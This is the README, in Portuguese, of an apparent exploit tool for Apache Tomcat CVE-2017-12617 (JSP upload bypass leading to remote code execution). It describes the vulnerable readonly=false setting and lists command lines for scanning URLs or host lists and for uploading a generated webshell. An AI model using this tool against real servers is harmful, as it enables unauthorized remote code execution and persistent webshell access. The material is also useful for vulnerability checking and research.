cyberheartmi9/cve-2017-12617Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - Bypass de Upload JSP / Execução Remota de Código
Vulnerabilidade crítica de Execução Remota de Código (RCE) CVE-2017-12617 descoberta no Apache Tomcat
afeta sistemas com HTTP PUTs habilitados (definindo o parâmetro de inicialização "read-only" do servlet Default para "false") são afetados.
As versões do Tomcat anteriores a 9.0.1 (Beta), 8.5.23, 8.0.47 e 7.0.82 contêm uma potencialmente perigosa
vulnerabilidade de execução remota de código (RCE) em todos os sistemas operacionais se o servlet padrão for
configurado com o parâmetro readonly definido como false ou se o servlet WebDAV estiver habilitado com o
parâmetro readonly definido como false
./cve-2017-12617.py [options]
options:
-u ,--url [::] verificar se a url alvo é vulnerável
-p,--pwn [::] gerar webshell e fazer upload
-l,--list [::] lista de hosts
[+]uso:
./cve-2017-12617.py -u http://127.0.0.1
./cve-2017-12617.py --url http://127.0.0.1
./cve-2017-12617.py -u http://127.0.0.1 -p pwn
./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn
./cve-2017-12617.py -l hotsts.txt
./cve-2017-12617.py --list hosts.txt
